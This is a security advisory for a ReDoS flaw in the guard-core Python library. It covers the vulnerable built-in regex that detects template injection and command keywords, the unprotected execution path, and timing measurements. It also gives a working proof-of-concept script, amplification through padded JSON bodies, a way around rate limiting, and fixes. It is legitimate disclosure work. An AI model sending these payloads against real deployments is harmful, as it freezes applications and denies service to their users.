Guard Core: Quadratic ReDoS in built-in detection pattern freezes the event loop with a single request
GHSA-r7hm-rjvg-xx7j · CVE-2026-129302
Published · Modified
AI SAST
Find this class of vulnerability in your own code
Corgea's AI-native static analysis detects vulnerabilities like this one across your repositories, ranks them by exploitability, and returns review-ready fixes.
Description
Summary
A polynomial (quadratic) regular-expression denial of service in guard-core's built-in penetration-detection patterns allows any unauthenticated remote client to freeze every endpoint of an application for seconds per request, using only the default configuration. The triggering request completes without any detection match — no ban counter increments, no rate-limit violation is recorded — so it can be repeated indefinitely. Since guard-core 3.5.0, only custom patterns are executed through the compiler's timeout-protected create_safe_matcher(); all built-in patterns run as a bare, inline pattern.search(content) directly on the asyncio event loop. guard-core ≤ 3.4.0 ran built-ins through the safe matcher (verified in the 3.4.0 wheel, _check_regex_pattern), so this is a regression introduced in 3.5.0 — and it silently undoes the protection credited to GHSA-rrf6-pxg8-684g (CVE-2025-54365) and the unbounded-quantifier remediation of GHSA-j47q-rc62-w448 (CVE-2025-53539) for every stock pattern, despite the changelog advertising "Safe regex execution with configurable timeouts to prevent ReDoS attacks."
Details
1. The pattern — guard_core/handlers/suspatterns_handler.py:519 (master 08780f1), the built-in template-injection detector:
r"\{\{\s*[^\}]+(?:system|exec|popen|eval|require|include)\s*\}\}"
On an input of { repeated N times, every one of the N−1 positions starts a \{\{ match attempt and [^\}]+ scans to end-of-string and backtracks once per position → O(N²). Note the sibling pattern at :524 (\{\%\s*[^\%]+...) is not vulnerable — its delimiter % is excluded from the character class, keeping scans bounded — which confirms the root cause is the unbounded, non-excluding [^\}]+.
2. The unprotected execution path — guard_core/handlers/suspatterns_handler.py:910-926:
if compiler:
if category == "custom":
safe_matcher = compiler.create_safe_matcher(pattern) # executor + timeout
match = safe_matcher(content)
...
else:
match = pattern.search(content) # ← inline, NO timeout
In enhanced mode (the default whenever a SecurityConfig is present — _supports_enhanced_config() is a duck-type attribute check a stock config always passes), all built-in patterns execute inline inside the async coroutine, blocking the event loop for the full scan. In guard-core ≤ 3.4.0, _check_regex_pattern() routed every pattern through self._compiler.create_safe_matcher(pattern.pattern) (verified in the 3.4.0 wheel, suspatterns_handler.py:565-567) or, without a compiler, through _check_pattern_with_timeout (4-worker pool + per-pattern timeout). The category == "custom" exemption appeared in 3.5.0.
3. Default reachability — penetration detection is on by default (enable_penetration_detection=True), query parameters are scanned by default (guard_core/utils.py:843-865), and the default scan window detection_max_content_length=10000 (models.py:765-770) admits the full 10,000-character payload. A run of { survives preprocessing untouched.
Measured (CPython 3.14, guard-core 3.12.0):
| input | detect() wall time | event-loop lag (measured in-process) |
|---|---|---|
{ × 2,500 |
0.15 s | — |
{ × 5,000 |
0.46 s | — |
{ × 10,000 |
1.85 s | 2.57 s cumulative across the three calls |
Clean 4× per doubling — quadratic, not exponential. Profiling all built-ins against the payload attributes 1.766 s of the 1.77 s total to this single pattern (one-line fix: bound the gap, e.g. \{\{\s*[^\}\s]{0,64}(?:system|exec|popen|eval|require|include)\s*\}\}).
Amplification: every scanned value pays the cost independently (utils.py:843-890 per query param/header; utils.py:936-977 per JSON string field). A single 256 KB JSON body (the default detection_max_body_inspect_bytes) containing ~25 string fields of {×10,000 measured 44.03 s of continuous event-loop blockage from one request, returning normally with no detection hit.
Why rate limiting doesn't help: guard-core defaults are rate_limit=10 per rate_limit_window=60 s (models.py:369-375), and the rate_limit check runs before suspicious_activity in the default pipeline. 10 × 44 s = 440 s of loop blockage per 60 s window from a single IP — single-source saturation, no distribution needed.
Framework reach: any adapter embedding guard-core on an asyncio loop — fastapi-guard, flaskapi-guard (async deployments), djapi-guard (ASGI) — shares the loop with the application, so the freeze takes down every endpoint of the host application, not just the guarded routes.
PoC
guard-core only — no framework adapter needed. Requires pip install guard-core, then python poc_guard_core_redos.py. Exit code 0 = freeze reproduced.
"""PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config.
The built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0
built-in patterns execute inline (pattern.search) with NO timeout — only
`custom` patterns get the compiler's safe matcher. One detect() call with a
10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such
fields blocks it ~44s. Runs on the asyncio loop that any adapter
(fastapi-guard, flaskapi-guard, djapi-guard) shares with the app.
Run: python poc_guard_core_redos.py
Exit code 0 = freeze reproduced (max loop lag > 1s).
"""
import asyncio
import time
from guard_core.handlers.suspatterns_handler import sus_patterns_handler
from guard_core.models import SecurityConfig
LOOP_LAGS: list[float] = []
async def _loop_lag_monitor() -> None:
while True:
t0 = time.monotonic()
await asyncio.sleep(0.05)
LOOP_LAGS.append(time.monotonic() - t0 - 0.05)
async def main() -> int:
config = SecurityConfig(enable_redis=False) # defaults = enhanced mode
sus_patterns_handler.configure(config)
monitor = asyncio.create_task(_loop_lag_monitor())
await asyncio.sleep(0.3) # baseline samples
for n in (2_500, 5_000, 10_000):
t0 = time.perf_counter()
result = await sus_patterns_handler.detect(
content="{" * n, ip_address="203.0.113.7", context="query_param:q"
)
print(f"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s is_threat={result['is_threat']}")
# let the starved monitor task wake and record the lag it just endured
await asyncio.sleep(0.1)
max_lag = max(LOOP_LAGS)
print(f"\nmax event-loop lag during run: {max_lag:.2f}s")
print("VERDICT:", "FROZEN" if max_lag > 1.0 else "not reproduced")
monitor.cancel()
return 0 if max_lag > 1.0 else 1
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))
Observed output (Python 3.14, guard-core 3.12.0):
'{' x 2500: 0.16s is_threat=False
'{' x 5000: 0.51s is_threat=False
'{' x 10000: 1.91s is_threat=False
max event-loop lag during run: 2.57s
VERDICT: FROZEN
An end-to-end proof through the fastapi-guard adapter (default config, real uvicorn server, in-process loop-lag monitor) measured 1.75 s of server-side event-loop lag from one GET request returning HTTP 200 — available on request.
Impact
Kind of vulnerability: Regular Expression Denial of Service — CWE-1333 / CWE-400. Polynomial (quadratic) runtime, O(N²), not exponential backtracking.
Who is impacted: every application embedding guard-core ≥ 3.5.0 with its default configuration (penetration detection enabled) in a single-process asyncio deployment. One unauthenticated request freezes all endpoints for ~1.8 s; one padded POST body freezes them for tens of seconds; repeated requests at only 10/min saturate the worker indefinitely. Because the payload triggers no detection match, no ban counter increments and nothing is logged as suspicious — the attack is invisible in guard-core's own telemetry.
Fix directions: (1) bound the quantifier in the template pattern (its {% sibling at :524 is already safe because [^\%]+ excludes the delimiter — excluding the delimiter, or bounding the gap, closes it); (2) route built-in patterns through the same create_safe_matcher() timeout path as custom patterns, restoring the ≤ 3.4.0 behavior that the changelog advertises.
Reporter validation request
The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.
References
- WEB https://github.com/Guard-Core/guard-core/security/advisories/GHSA-r7hm-rjvg-xx7j
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-129302
- WEB https://github.com/Guard-Core/guard-core/pull/68
- WEB https://github.com/Guard-Core/guard-core/commit/c07239fa1c5aa93e3f179440e79dad652977d3e4
- WEB https://github.com/Guard-Core/guard-core/releases/tag/3.13.0
- PACKAGE https://github.com/rennf93/guard-core
Ready to move
Start Securing
Free, no credit card | First findings in minutes